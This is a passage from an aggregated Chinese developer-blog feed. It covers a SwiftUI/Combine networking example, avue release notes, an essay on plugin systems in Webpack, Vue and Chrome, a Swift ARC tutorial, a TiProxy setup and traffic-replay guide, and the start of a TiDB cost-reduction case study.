    let url: String
    let created, lastModified: Double
    let deleted, replies: Int
    let id: Int
    let content: String
    let contentRendered: String
    
    enum CodingKeys: String, CodingKey {
        case node, member
        case lastReplyBy = "last_reply_by"
        case lastTouched = "last_touched"
        case title, url, created, deleted, content
        case contentRendered = "content_rendered"
        case lastModified = "last_modified"
        case replies, id
    }
}

2.数据服务类

拿到接口地址后,我们需要发起请求,拿到数据并发送出去,这里使用Publisher

1.封装网络请求类

class NetworkingManager {
    enum NetworkingError: LocalizedError {
        case badURLResponse(url: URL)
        case unknown

        var errorDescription: String? {
            switch self {
            case .badURLResponse(let url):
                return "[🔥] Bad response from URL: \(url)"
            case .unknown:
                return "[⚠️] Unknown error occured"
            }
        }
    }

    static func download(url: URL, token: String? = nil) -> AnyPublisher<Data, Error> {
        var request = URLRequest(url: url)
        if let token = token {
            request.httpMethod = "GET"
            request.setValue("Bearer \(token)", forHTTPHeaderField: "Authorization")
        }

        return URLSession.shared.dataTaskPublisher(for: request)
            .subscribe(on: DispatchQueue.global(qos: .default))
            .tryMap({ try self.handleURLResponse(output: $0, url: url) })
            .receive(on: DispatchQueue.main)
            .eraseToAnyPublisher()
    }

    static func handleURLResponse(output: URLSession.DataTaskPublisher.Output, url: URL) throws -> Data {
        guard let response = output.response as? HTTPURLResponse,
              response.statusCode >= 200 && response.statusCode < 300 else {
            throw NetworkingError.badURLResponse(url: url)
        }
        return output.data
    }

    static func handleCompletion(completion: Subscribers.Completion<Error>) {
        switch completion {
        case .finished:
            break
        case .failure(let error):
            print(error.localizedDescription)
        }
    }
}

2.创建DataService

class TopicDataService: ObservableObject {

    @Published var topics: [TopicModel] = []
    private var topicSubscribtion: AnyCancellable?

    init() {
   getTopics()
    }

    func getTopics() {
        guard let url = URL(string: "https://www.v2ex.com/api/topics/hot.json") else {
            return
        }

        topicSubscribtion = NetworkingManager.download(url: url)
            .decode(type: [TopicModel].self, decoder: JSONDecoder())
            .sink(receiveCompletion: NetworkingManager.handleCompletion, receiveValue: { [weak self] returnedTopics in
                self?.topics = returnedTopics
                self?.topicSubscribtion?.cancel()
            })
    }
}

3.ViewModel

class HomeViewModel: ObservableObject {

    @Published var topics: [TopicModel] = []

    private let dataService = TopicDataService()
    private var cancelables = Set<AnyCancellable>()

    init() {
        addSubscribers()
    }

    private func addSubscribers() {
        dataService.$topics
            .sink { [weak self] returnedTopics in
                self?.topics = returnedTopics
            }
            .store(in: &cancelables)
    }
}

4.更新UI页面

struct HomeView: View {

    @StateObject private var vm: HomeViewModel = HomeViewModel()

    var body: some View {
   List {
  ForEach(vm.topics) { topic in
TopicRowView(topic: topic)
  }
   }
        .navigationTitle(
            Text("Topic")
        )
        .navigationBarTitleDisplayMode(.inline)
    }
}

源码

完整代码已托管在 GitHub 仓库。如果你感兴趣,可以下载运行并根据自己的需求扩展功能。

by Aaron0927 at January 17, 2025 07:37 AM

oschina news project

avue v3.6.2 已经发布,基于 Element 的前端框架

avue v3.6.2 已经发布,基于 Element 的前端框架

此版本更新内容包括:

v3.6.2

2025-01-17

修复

  • Select全选无法勾选状态gitee_IBFDL8
  • Crud组件grid模式下hidde的显示消失
  • Switch组件align属性默认值
  • Form和Crud组件control设置还原

详情查看:https://gitee.com/smallweigit/avue/releases/v3.6.2

by 来源: 投稿 at January 17, 2025 07:17 AM

juejin frontend

浅谈前端插件系统及其应用

什么是插件?

image.png

插件(Plugin)是指一种可以向已有软件中添加特定功能的模块,它本身不能独立运行,必须依赖于宿主应用程序来执行。插件的设计目的是为了扩展软件的功能,而不需要修改原有的软件代码。通过插件机制,用户或开发者可以灵活地根据需求添加或移除功能,提升软件的可扩展性和灵活性。

举个栗子🌰

假如你有一条汽车生产流水线:

image.png

  1. 不同的工位 (Workstation)做不同的事情
  2. 当汽车到达某一个工位时,工人便开始加工
  3. 所有的工序都完成后,也就完成了汽车🚗的生产
  4. 采用固定的流水线,生产的汽车是完全一样的

众所周知汽车能够选配一些功能:座椅加热、定制轮毂、车衣、氛围灯、音响等。定制化可以使汽车销量更好,但这些功能需要更专业的工人参与,但当前流水线无法办到。于是工厂高薪聘请了专业的师傅,把他们带到了专门的工位。然后,轮胎工位的师傅说:“给我车子和工具,我来搞定轮胎!”,内饰工位的师傅说:“车子给我,我给你搞点氛围灯!”...

在整个过程中参与的角色:

  • 流水线:主应用
  • 不同功能的工位:特定的生命周期/事件
  • 原工位上的工人:主应用代码
  • 高薪聘请的工人:插件代码
  • 待加工的汽车:传递给主应用或插件的参数
  • 配套工具:应用上下文或者应用实例

假如我们不给插件传参会怎样?

只请了工人安排在特定的工位,不给他汽车和配套工具,那他就只能在这里做一些与工作无关的事情(摸鱼🐟),没有起到扩展原程序功能的作用。

image.png

“就好像我到餐厅里去吃饭,你不给我筷子,我怎么吃呢? 我去洗手间解决问题,你不给我手纸,我怎么解决呢? 我买了辆车,没有方向盘,我怎么开呢?”

插件系统的应用

插件的本质就是加入到主程序的执行生命周期中,在一些关键的节点做一些特定的事情,从而扩展主程序的功能。

Webpack插件系统

image.png

注:此图片来自:图解Webpack——实现Plugin

插件的初始化位于这个位置

if (Array.isArray(options.plugins)) {
  for (const plugin of options.plugins) {
    if (typeof plugin === "function") {
      /** @type {WebpackPluginFunction} */
      (plugin).call(compiler, compiler);
    } else if (plugin) {
      plugin.apply(compiler);
    }
  }
}

初始化插件后,就开始 webpack 的编译构建流程,然后在关键的时机抛出对应的事件,以供插件订阅:

image.png

更加详细的webpack插件信息:hooks

这里值得注意的是,webpack是基于Tapable来构建插件系统的,其中事件的派发是通过new Function的形式来实现的,如:

function anonymous(param1) {
    "use strict";
    var _context;
    var _x = this._x;
    var _fn0 = _x[0];
    _fn0(param1);
    var _fn1 = _x[1];
    _fn1(param1);
    var _fn2 = _x[2];
    _fn2(param1);
}
anonymous({})

那他为什么不直接通过循环调用回调函数来执行时呢?大佬给出了解答:github.com/webpack/tap…

JavaScript 引擎的编译优化:

  • new Function 方法: 当你使用 new Function 创建一个函数时,这个函数通常会被 JavaScript 引擎视为一个独立的脚本。这意味着它可以进行更彻底的优化。由于该函数是在运行时创建的,引擎有机会根据当前上下文优化它,这可以包括内联优化、避免不必要的变量查找等。

  • forEach 循环: 相比之下,使用 forEach 循环直接调用数组中的函数则涉及到多次函数调用的开销。每次循环都会调用一个函数,这可能会导致更多的上下文切换和较少的优化机会。每次函数调用都涉及到创建新的调用栈、传递参数等开销。
    函数调用的开销:

  • 在 forEach 循环中,每次迭代都会进行一次函数调用。这些调用涉及到创建调用上下文、传递参数、以及在调用栈上进出的开销

  • 而使用 new Function 方法创建的函数,在它的内部直接编码了所有的函数调用。这种方式减少了函数调用的次数,因为所有的调用都被内联到一个单独的函数体内。这就减少了调用栈的变化,提高了执行效率。
    总之,使用 new Function 创建的函数,由于更优的编译优化和减少的函数调用开销,往往在性能上优于简单的 forEach 循环调用。然而,这种优化的程度可能会因 JavaScript 引擎的实现细节而有所不同,而且它也带来了代码的复杂性和可维护性的挑战。在实际应用中,选择哪种方法取决于具体场景和性能需求。

Vue插件系统

Vue通过Vue.use来注册插件,从而集成router、store、自定义组件等功能。

插件通常用来为 Vue 添加全局功能。插件的功能范围没有严格的限制——一般有下面几种:

  1. 添加全局方法或者 property。如:vue-custom-element
  2. 添加全局资源:指令/过滤器/过渡等。如 vue-touch
  3. 通过全局混入来添加一些组件选项。如 vue-router
  4. 添加 Vue 实例方法,通过把它们添加到 Vue.prototype 上实现。
  5. 一个库,提供自己的 API,同时提供上面提到的一个或多个功能。如 vue-router

不同于webpack,Vue传递给插件的参数是Vue自身,从而可以在Vue原型链上定义很多自定义的属性和方法,也可以通过mixin来增强组件实例的功能,比如在组件的beforeCreatedestroyed等生命周期里做额外的操作。

通过全局方法 Vue.use() 使用插件。它需要在你调用 new Vue() 启动应用之前完成:

// 调用 `MyPlugin.install(Vue)`  
Vue.use(MyPlugin)  
  
new Vue({  
// ...组件选项  
})

对于Vue插件来说,“在一些关键的节点做一些特定的事情”中的“关键的节点”指的就是在 new Vue() 启动之前。

chrome插件系统

chrome浏览器也可以添加插件来扩展浏览器的功能,比如常见的:Vue Devtools、React Devtools、掘金浏览器插件等。

Chrome for Developers提供了开发指南:developer.chrome.com/docs/extens…

Google插件的运行原理可以总结为以下几个步骤:

  1. 插件加载:当用户打开浏览器时,浏览器会加载已安装的插件。插件的清单文件将被读取,并解析出插件的基本信息和配置。
  2. 背景页面启动:插件的背景页面将在插件加载后启动。背景页面是插件的核心,它会执行初始化操作、注册事件监听器,并提供插件的后台功能和API。
  3. 内容脚本注入:当用户访问特定网页时,内容脚本将被注入到页面中。内容脚本可以修改页面的DOM结构、监听页面事件,并与页面进行交互。
  4. 消息传递与通信:插件的各个组件可以通过消息传递机制进行通信。背景页面可以发送消息给内容脚本,或者接收来自内容脚本的消息,以实现数据交换和功能协调。
  5. 用户界面展示:插件可以在浏览器界面上展示自定义的用户界面,如工具栏按钮、弹出窗口等。用户可以通过与插件界面交互来使用插件提供的功能和选项。
  6. 定期更新和升级:插件开发者可以定期发布更新和升级版本,用户的浏览器将自动检查并安装新版本的插件。

如果你也想开发chrome插件,可以跟随这位大佬的教程:juejin.cn/post/723086… ,一共有18节。

总的来说

插件的优点

  • 扩展性:插件允许开发者在不修改软件本体的情况下,为软件增加新的功能或特性。
  • 模块化:每个插件通常是一个独立的模块,具有特定的功能或特性,便于管理和更新。
  • 解耦性:插件机制使得插件和宿主应用解耦,插件可以单独开发、测试和更新。
  • 灵活性:用户可以根据自己的需求选择加载哪些插件,而不必使用整个软件的全部功能。

插件的缺点

  • 可信性:主程序几乎无法把控插件对其的更改,插件代码是否可信?
  • 可读性:与主程序关联不强,当插件越来越多的时候,可能对理解源代码的运行方式产生障碍。

在阅读webpack源码的时候,从webpack启动初始化compiler对象开始,一直捋到compilation初始化后发现运行过程就结束了...what fxxx?以下为webpack启动主流程:

image.png

当时读到this.hooks.make.callAsync发现后续就没代码了,并且 Compilation 模块里还定义了一堆方法,似乎都没有用到?

image.png

实际上webpack是通过插件订阅compiler的make事件来添加entry,从而触发之后的buildModule、构建module graph等一系列动作。make.callAsync实际上就是在执行插件的逻辑了,比如SingleEntryPlugin就订阅了make事件:

compiler.hooks.make.tapAsync(
  "SingleEntryPlugin",
  (compilation, callback) => {
    const { entry, name, context } = this;

    const dep = SingleEntryPlugin.createDependency(entry, name);
    compilation.addEntry(context, dep, name, callback);
  }
);

从而通过compilation执行后续的构建流程。但是这种松散耦合的关系,当插件特别多的时候,使我们在阅读源码时,常常需要一个关键字一个关键字的去搜索,看看到底哪里订阅了这个事件,又是在哪里进行的触发的。但总体来说是瑕不掩瑜的。

何时使用

基于场景选择编程范式,当我们需要运行时动态的扩展程序功能而不想改变源码,那么就可以考虑使用插件模式。

如何设计

要实现插件模式有很多种方法,比如每到一个关键节点就把注册的插件循环执行一遍,或者通过发布订阅实现。而在当前,从扩展性、维护性、插件通信等方面,大多都采用了事件订阅的方式来实现这一设计。

大型程序集成插件模式可以参考webpack,集成Tapable来解耦插件与主程序的关联,提供统一的事件订阅系统。

小型程序集成插件模式则可以参考Vue.use,集成EventEmitter,如:

interface PluginFn {
  (ctx: Ctx, ...args: any): void
}

interface PluginObject {
  install: PluginFn
}

interface Event {
  InstanceCreated: 'instance:created'
  InstanceUpdate: 'instance:updated'
  InstanceDestroy: 'instance:destroy'
}

interface Ctx {
  plugins: (PluginFn | PluginObject)[]
  Event: Event
  events: Record<string, Function>
  on(name: string, handler: Function): void
  once(name: string, handler: Function): void
  emit(name: string, ...args: any): void
  off(name: string, handler: Function): void
}

interface App {
  use(plugin: (PluginFn | PluginObject), ...args: [Ctx, ...any] | []): Ctx
}

其中App提供了use方法来注册插件,插件可以是一个函数或者带有install方法的对象,我们可以在App初始化的同时来注册插件,然后在App运行期间的恰当时机触发一些事件,当插件订阅了这个事件后,就能做一些特定的事情来扩展App的功能。

善于模仿

相信大家都看过黑客帝国、异次元骇客等科幻片,人类世界就是一个巨大的程序,而我们只是其中的npc。(悲观T_T)

image.png

抛开npc不谈,我认为现实世界是最好的程序,我们应该多观察这个世界,如果能在现实世界中找到相似的运作方式,那么就是咱们在写代码时的最优解。比如仿生学等等,都是咱对大自然的参考。

image.png

# Unitree B2-W 天赋觉醒!

宇树科技是一家非常年轻的公司,和大疆一样,是咱们的排面!他们不管是制作机器人还是机器狗,都可以在其中看到对真正的人和狗的仿生模仿。大自然的经验告诉我们,亿万年的进化留下来的都是精华!(考虑购买一下机器人板块的股票,感觉势头很猛hhh)

参考

by WeilinerL at January 17, 2025 07:16 AM

juejin ios

Swift 进阶: 自动引用计数原理

引言

大家好,我是一牛,今天我想和大家分享的是自动引用计数(ARC)在 Swift 中是如何工作的。在一些比较老的一些OC项目,大家或多或少都使用过手动引用计数(MRC),那个时候相信大家都很痛苦,不是这边忘记release,就是那边忘记retain。因为工作的需要,我有时候也会维护写MRC的项目,最佳实践就是逐个文件给它转换成ARC。自动引用计数极大的减少了需要为内存管理编写的样板代码,使得我们能够更加专注业务端代码,生产力进一步提高。然而,内存泄漏和循环引用问题依然存在,掌握自动引用计数的原理会让你在处理这类问题更加得心应手。

自动引用计数原理

我们先回顾下自动引用计数是如何工作的。

class C {
      deinit {
        print("instance is being deinitialized")
    }
}
var c1: C = nil
var c2: C = nil
var c3: C = nil
c1 = C() // 引用计数 +1
c2 = c1  // 引用计数 +1
c3 = c2  //引用计数 +1
c2 = nil // 引用计数 -1
c3 = nil // 引用计数 -1
c1 = nil // 引用计数 -1, 引用计数为 0, C 的实例被销毁,系统回收内存

Screenshot 2025-01-16 at 14.05.26.png

  • 当一个强引用指向类的实例,引用计数 +1 。
  • 当一个强引用不再指向类的实例(变量出作用域),引用计数 -1 。
  • 当引用计数为 0 时, 对象被销毁,内存被回收。

循环引用

考察以下代码

class Person {
    var phone: Phone?
    var name: String
    init(name: String) {
        self.name = name
    }
    deinit {
        print("instance of Person is being deinit")
    }
}

class Phone {
    var owner: Person?
    var name: String
    init(name: String) {
        self.name = name
    }
    deinit {
        print("instance of Phone is being deinit")
    }
}

let phone = Phone(name: "Apple")
let someone = Person(name: "Jobs")
phone.owner = someone
someone.phone = phone

Screenshot 2025-01-16 at 16.33.25.png

实例phoneowner 属性强引用了实例 someone, 而实例someone 的属性phone 强引用了实例phone,这就形成了一个引用环。 尽管phone 和 变量 somephone出了作用域会使得对应的实例的引用计数 -1,根据自动引用计数规则,只要实例的引用计数不为0 就不会被释放。所以 实例phone和实例someone 不会被销毁,这就造成了内存泄漏。

如何打破引用环

正是因为存在引用环,内存才会泄漏,所以解决方案就是避免形成引用环。打破引用环,主要有两种方法,弱引用和无主引用。

弱引用

weak var phone: Phone?
//instance of Phone is being deinit
//instance of Person is being deinit

Screenshot 2025-01-17 at 14.51.36.png

简单添加weak关键字后,使用weak关键字引用的对象的引用计数不会 +1,引用环被打破, 实例someone的属性phone不再持有实例phone。此时只有变量phone强引用实例phone,当变量phone 出作用域时,实例phone的引用计数为 0, 实例phone被销毁。由于实例someone引用计数也为 0,实例someone被销毁。需要注意的是,weak 关键字只能使用在可选属性,这是因为,当weak属性指向的实例被销毁后,weak属性会被只为nil, 可以被安全访问。可以看到实例phone先于实例someone销毁。

无主引用

为了方便演示,我们稍稍改造下源程序。类 Person不变。

class Phone {
    unowned let owner: Person
    var name: String
    init(name: String, owner: Person) {
        self.name = name
        self.owner = owner
    }
    deinit {
        print("instance of Phone is being deinit")
    }
}
let someone = Person(name: "Jobs")
let phone = Phone(name: "Apple", owner: someone)
someone.phone = phone

Screenshot 2025-01-17 at 14.37.15.png

和弱引用类似,无主引用的对象的引用计数不会 +1, 也就打破了循环引用。一般来说引用的实例生命周期和宿主对象一样或者更长时,才考虑使用无主引用。也就是在宿主对象没有被销毁之前,无主引用的实例不会被销毁,在宿主对象的生命周期访问引用的实例是安全的。

结语

虽然自动引用计数给程序员带来了极大的便利,让我们更能够专注业务开发,但是我们也要认识到掌握ARC原理的重要性, 在可能出现循环引用的时候,需要我们特别留心。

创作不易,点赞和收藏是我持续创作的动力,谢谢大家。

by 一牛 at January 17, 2025 07:16 AM

juejin article

TiDB 的高可用实践:一文了解代理组件 TiProxy 的原理与应用

导读

TiProxy 是 TiDB 官方推出的高可用代理组件,旨在替代传统的负载均衡工具如 HAProxy 和 KeepAlived,为 TiDB 提供连接迁移、故障转移、服务发现等核心能力。 本文全面解析了 TiProxy 的设计理念、主要功能及适用场景,并通过实际案例展示了其在扩缩容、故障处理和流量捕捉与回放中的强大能力。


前言

TiDB 是一款典型的分布式存算分离架构的数据库,其中计算层由多个无状态的 TiDB Server 组成,这些 TiDB Server 同时对外承担连接请求。为了可以将连接分发到多个 TiDB Server 节点上,一般需要借助外部负载均衡组件如硬件负载均衡 F5、软件负载均衡 HAProxy 等。

为了实现全链路的高可用架构,我们经常也需要考虑负载均衡组件本身的高可用性,比如通过 KeepAlived 来保证 HAProxy 的高可用。这无疑增加了整体的使用成本,尤其是对于使用最小规模的 TiDB 集群部署已经能够完全承载业务体量的系统而言。

什么是 TiProxy

如果用户本身没有现成的负载均衡设备,则必须搭建一套类似 KeepAlived+HAProxy 的高可用负载均衡层,增加了维护的成本, KeepAlived 和 HAProxy 本身也不属于 TiDB 数据库生态的组件,出现问题也只能寻找现网的解决方法。TiProxy 是 TiDB 官方的代理组件,它为 TiDB 提供负载均衡、连接保持、服务发现等功能,是替换开源的 KeepAlived+HAProxy 或其他负载均衡软件有效的方案。

什么是 TiProxy

TiProxy 的主要能力

TiProxy 的主要功能包括:连接迁移、故障转移、服务发现和一键部署。

TiProxy 的主要功能

  • 连接迁移。 连接迁移就是说可以把客户端连接从 A 计算节点迁移到 B 计算节点而不影响业务。这种通常在 扩缩容、滚动升级、滚动重 启 场景使用,是一种计划内的动作,如果是计算节点异常下线这种情况,则不属于连接迁移的范畴。
  • 故障转移。 故障转移就是说当发现有计算节点故障的时候,比如 OOM 或是发现与 PD/TiKV 组件无法连接时,TiProxy 可以发现故障并将连接转移到正常的计算节点上。
  • 服 务发现。 使用外部的负载均衡组件时无法自动感知到有计算节点变化的情况,比如对计算节点做了扩缩容,而使用 TiProxy 就能自动的发现新增/删除的计算节点,不需要人工介入。
  • 一键部署。 TiProxy 被集成到 TiUP、TiOperator 管理工具中,可通过 tiup 命令直接扩容的方式安装即可,不需要单独下载并单独安装。

TiProxy 的适用场景

基于上述介绍的 TiProxy 主要能力,我们可以梳理出 TiProxy 比较适用的场景。

TiProxy 的适用场景

  • 可用性要求高的业务。 有些业务系统通常要求 7*24 对外提供服务,这些系统对可用性要求极高,比如要满足 4 个 9 或 5 个 9 之类的不停机时间。然而系统在长时间运行的环境中,无法避免因为业务变更或程序漏洞需要进行计划性的调整,这就要求数据库能够支持不影响业务的前提下进行在线重启、升级等操作。使用 TiProxy 的连接迁移功能结合 TiDB 数据库的滚动重启功能可以完美的解决这一场景。
  • 敏态类的业务。 某些业务系统可能在大部分的时间段业务都处于低峰期,但在某些时间段内业务会比平时增加 10 倍或者更多,比如电商促销活动期间。这要求数据库在短时间内能够支持快速的扩缩容操作,以应对高峰时段的业务负载。TiProxy 也非常适合这样的场景,可以保证在扩缩容操作过程中对业务无影响。
  • 提前规避系统风险。 分布式系统由多个节点组成,每个节点都对外提供服务。无论是因为业务自身的原因,还是因为数据库内部机制,节点之间出现不均衡的状态是无法避免的。通过监控节点的均衡状态,我们可以提前发现可能存在 CPU 或内存资源严重不均的情况,结合 TiProxy,将异常节点的连接提前转移到正常节点,并在恢复之后再将连接均衡回来。

需要注意的是,如果系统对交易的 Duration 延迟要求极高,那么 TiProxy 可能不是最优的选择。相比 F5 或 HAProxy 这样的外部负载均衡组件,TiProxy 性能会稍有不足,会一定程度的降低 TPS 或增加交易延迟,这在官网文档中有相关说明。

安装并体验 TiProxy

TiProxy 是 TiDB v8 版本才发布的组件(实际支持 v6.5 及以上 TiDB 版本),对很多 TiDB 用户来说可能还属于一个新鲜的东西。考虑到这是一个新的组件,大部分用户从安全稳定的角度考虑就是否使用 TiProxy 组件还处于一个观望阶段。不过从 TiDB 的产品发布内容来看,从 v8.1 到 v8.5,我们也看到 TiProxy 一直在改进和增强,可以在一些延迟要求不是特别敏感的系统中测试并使用起来。

那么如何在一个 TiDB 集群中使用 TiProxy 呢,以下参考官网文档 TiProxy 简介 ( docs.pingcap.com/zh/tidb/sta… ) 做一个简单的示例说明。

1 TiDB Server 实例配置

1. 升级并检查 tiup 版本

如果 TiUP 版本是 v1.15.0 之前,需要为 TiDB Server 实例生成自签名证书并配置证书的路径,否则将无法使用 TiProxy 的连接迁移功能。鉴于为 tidb server 生成自签名证书步骤比较繁琐,建议直接将 tiup 升级至 v1.15.0 版本或以上,通过以下命令升级及检查 tiup 版本。

tiup update --self
tiup -v | grep tiup

2. 配置 tidb server 的 graceful-wait-before-shutdown

根据官网提示,tidb server 的 graceful-wait-before-shutdown 应大于应用程序最长事务的持续时间,否则 tidb server 下线时客户端可能断连,最长事务持续时间可通过 grafana 监控报表查看确认。

server_configs:
  tidb:    graceful-wait-before-shutdown: 15

2 安装并配置 TiProxy

TiProxy 可以部署多个,为了保证 TiProxy 的高可用,一般建议部署两个,通过配置虚拟 IP 将流量路由到 TiProxy 实例上。

1. 准备 TiProxy 部署配置文件 tiproxy.toml

TiProxy 支持一系列参数配置,具体可参考文档 TiProxy 配置文件 ( docs.pingcap.com/zh/tidb/sta… ) 。以下是一个最基本的配置文件,它表示在两个节点上分别安装版本为 v1.3.0 的 tiproxy 组件,配置 ha.virtual-ip 及 ha.interface 指定虚拟 IP,用于对外提供连接服务。

component_versions:
  tiproxy: "v1.3.0"
server_configs:
  tiproxy:
    ha.virtual-ip: "10.1.1.200/24"
    ha.interface: "eth0"
tiproxy_servers:
  - host: 10.1.1.154
  - host: 10.1.1.155

2. 安装 TiProxy 组件

如果是首次安装集群,则 TiProxy 可以与集群一同完成安装;如果是在已有集群中增加 TiProxy ,可以通过 tiup scale-out 的方式扩容 TiProxy 组件。

安装或扩容完成后,通过 tiup display 命令可以查看到相应的 tiproxy 组件,其默认的连接端口为 6000。

tiup cluster display tidb-test | grep tiproxy
10.1.1.154:6000   tiproxy       10.1.1.154  6000/3080    linux/aarch64  Up       -                                       /data1/tidb-re-deploy/tiproxy-6000
10.1.1.155:6000   tiproxy       10.1.1.155  6000/3080    linux/aarch64  Up       -                                       /data1/tidb-re-deploy/tiproxy-6000

3. 验证连接 TiProxy

上述步骤完成后,我们便可以通过连接 TiProxy 地址及端口来验证是否可以正常连接到 tidb。如果配置无误, 无论是通过 <tiproxy_ip>:6000 还是通过 <virtual_ip>:6000,应该都可以正常连接到 TiDB。

3 体验 TiProxy 连接迁移

如上面内容所述,TiProxy 具有连接迁移的能力,对于计划内的操作如扩缩容、滚动升级、滚动重启,TiProxy 可以保证完全不影响业务。TiProxy 同时也具有服务发现能力,当有计算节点增加或减少时,TiProxy 能自动感知,无须人工介入。我们通过模拟 sysbench 压测,并在压测过程中扩容和缩容计算节点,观察所有计算节点的连接变化以及业务影响情况。

1. 开启 sysbench 压测

使用 100 并发连接开启 sysbench 压力测试,场景为 oltp_read_only。观察各 tidb server 连接数情况,连接数分别为 33/33/34 ,处于相对均衡的状态。

开启 sysbench 压测

进一步查看运行时 QPS,查询 QPS 约为 27.9K

进一步查看运行时 QPS

2. 在线扩容一台 tidb server

使用 tiup scale-out 在线扩容一台 tidb server,扩容后 tidb server 从原来的 3 台变成 4 台

tiup cluster scale-out tidb-B ./scale-tidb.yaml

观察扩容过程中 sysbench 压测情况,发现运行平稳无任何报错。通过监控查看运行时 QPS,查询 QPS 约为 30.7 K ,较之前 QPS 有上升的趋势。

在线扩容一台 tidb server

观察各 tidb server 连接数情况,连接数分别为 26/26/26/22 ,处于相对均衡的状态,可以看到在运行过程中连接被自动迁移到扩容的 tidb server 节点,无须手工介入。

观察各 tidb server 连接数情况

3. 在线缩容一台 tidb server

使用 tiup scale-in 在线缩容两台 tidb server,缩容后 tidb server 从刚刚的 4 台变成 2 台

tiup cluster scale-in tidb-B -N 10.1.1.153:24000,10.1.1.154:24000

观察扩容过程中 sysbench 压测情况,发现运行平稳无任何报错。通过监控查看运行时 QPS,查询 QPS 约为 21.8K ,较之前 QPS 有明显下降的趋势。

在线缩容一台 tidb server

进一步观察各 tidb server 连接数情况,连接数分别为 50/50/0/0 ,说明在运行过程中连接被自动迁移到剩余的 2 台 tidb server 节点,无须手工介入。

进一步观察各 tidb server 连接数情况

通过上述步骤的演示,无论是在线扩容还是缩容,TiProxy 组件可以实现业务完全无感知,TiProxy 能自动识别新增或移除的计算节点,将连接自动均衡到现有的节点上。

TiProxy 新特性体验:流量捕捉与回放

TiDB v8.5.0 LTS 版本中增加了 TiProxy 流量捕捉与回放的功能,作为实验特性。流量捕捉和回放适用于在生产环境捕捉流量并在测试环境回放,适用的场景包括:

  • 数据库版本升级前验证。 比如某套业务生产环境的 TiDB 版本要进行升级,可以通过在现有生产环境捕捉一定时间段的流量并在测试环境新版本中进行回放验证,判断新版本中业务是否能平稳运行。
  • 业务改造或应用打版验证。 有时候应用可能也会进行打版或升级,可能是因为业务需求的变化,如果直接在生产环境操作存在一定的风险,可以用生产的流量在测试环境中进行回放验证。
  • 扩缩容及业务上限评估 。 有些生产环境数据库可能长期处于高压状态,需要通过扩容来满足业务需求;也有些生产环境数据库资源使用率极低,资源存在浪费的情况,可以适当缩容一些节点出来。使用 TiProxy 的流量捕捉回放功能,可以利用测试环境来评估生产的流量具体使用多少资源比较合适。

使用 TiProxy 的流量捕捉回放功能需要使用 tiproxyctl 工具,安装 tiproxyctl 步骤如下,

tiup install tiproxy
ls `tiup --binary tiproxy`ctl

当要在生产环境进行流量捕捉时,使用 tiproxyctl traffic capture 。以下命令表示捕获指定 tiproxy 地址的流量,并保存到 /tmp/traffic 目录下,持续时间为 10 分钟。

tiproxyctl traffic capture --host 10.1.1.200 --port 3080 --output="/tmp/traffic" --duration=10m

捕获的流量将保存在 TiProxy 节点的对应目录下,包含两个文件:meta 和 traffic.log,meta 是流量的元数据信息记录,traffic.log 则保存了具体的业务流量信息。

tree /tmp/traffic/
/tmp/traffic/
├── meta
└── traffic.log

0 directories, 2 files

流量捕捉完成后,使用 tiproxyctl traffic replay 在测试环境中回放流量。以下命令表示在测试环境中从指定位置回放流量,回放速度为 2 倍速生产流量。

tiproxyctl traffic replay --host 10.1.1.200 --port 3080 --username=<uname> --password=<passwd> --input="/tmp/traffic" --speed=2

本文仅对 TiProxy 流量捕捉与回放功能做一个简要的介绍说明,更多细节内容请参考官网 TiProxy 流量回放 ( docs.pingcap.com/zh/tidb/sta… )。

总结

本文对 TiDB 的官方代理组件 TiProxy 进行了一个整体的说明与介绍,TiProxy 是 v8 版本开始支持的可以用于代替开源负载均衡工具的一款 TiDB 生态组件。TiProxy 不仅具有连接迁移、故障转移、服务发现和一键部署的能力,在新版本中也支持流量捕捉与回放的功能,是替换开源代理组件的一个极佳方案。引入 TiProxy 在延迟要求极高的场景下可能带来一定的性能损失,建议以具体业务场景中性能测试为准。

by PingCAP at January 17, 2025 07:15 AM

数禾科技:资源成本降低 50%!用 TiDB 实现技术栈简化的实践和收益

导读

在当今快速发展的金融科技领域,技术的创新与优化是企业保持竞争力的关键。数禾科技,作为一家以大数据和技术为驱动的智能零售金融解决方案提供商,始终致力于通过技术创新来提升业务效率和服务质量。其主要产品还呗 APP 激活用户已达 1.3 亿,累计交易金额突破 3100 亿元。随着业务的迅速扩展,数禾科技面临着日益复杂的技术栈挑战。如何在确保系统稳定性和数据处理能力的同时,简化技术架构并降低运维成本,成为数禾科技亟需解决的关键问题。

通过引入 TiDB,数禾科技不仅成功简化了技术架构,还显著提升了数据处理能力和业务响应速度。这一举措不仅帮助公司 降低了 50% 的资源成本 ,还为数禾科技在金融科技领域的技术创新积累了丰富的经验。本文将详细分享数禾科技在使用 TiDB 进行技术栈简化过程中的实践与经验。从技术选型的考量、实施过程中的挑战与收获,到运维管理的策略与创新,全方位展示数禾科技如何借助 TiDB 实现技术架构的优化升级,为金融科技行业的技术发展提供有益的借鉴和启示。


TiDB 上海地区交流回

视频回顾及 PPT 下载: 【TiDB 上海地区交流回顾】TiDB 在小红书、爱奇艺、咪咕、华安基金、数禾科技的核心场景/简化技术栈/降本增效实践

TiDB 在数禾的应用场景

数禾科技将 TiDB 应用在多个核心场景,如特征、获客、对账系统等。其中,特征是数禾非常重要的场景。在数禾科技的业务中,特征是指在策略、模型、分析中用到的、与某个主题绑定的数据。特征可以分为离线特征和实时特征。离线特征通常是定时跑批生成的,如用户的属性数据;而实时特征则是实时计算并生成的,具有更高的时效性,能够更好地反映用户的即时状态。特征平台的高效运作对数禾科技的业务决策和风险控制至关重要,与用户体验和交易息息相关。TiDB 在数禾科技特征场景的应用 QPS 达 1.5 w ,主要搭了 两套大集群 ,一套承载离线特征,一套承载实时特征。

特征

数禾特征计算使用 TiDB 进行技术栈简化的实践和收益

技术栈简化

技术栈简化前的挑战

在引入 TiDB 之前,数禾科技的技术栈包括 MySQL、Kafka、Flink 和 HBase 等多种技术。复杂的技术架构带来了诸多挑战:

  1. 开发复杂、周期长: 数据从 MySQL 通过 DTS 同步到 Kafka,再由 Flink 消费并计算后写入另一个 Kafka,最后应用消费 Kafka 并经过一系列转换后存入 HBase。整个过程不仅开发复杂,而且周期较长;
  2. 成本高: 云上的 Kafka、Flink、HBase 等服务费用较高,增加了企业的运营成本;
  3. 延时长,用户流失率高: 由于数据处理链路较长,特征的平均延时超过 10 秒,在某些场景下导致用户流失率较高。

用 TiDB 实现技术栈简化后的收益

  1. 开发门槛降低,只需会写关系型 SQL;
  2. 链路更加清晰,不需要那么多链路数据流转,1s 以内就能返回给用户;
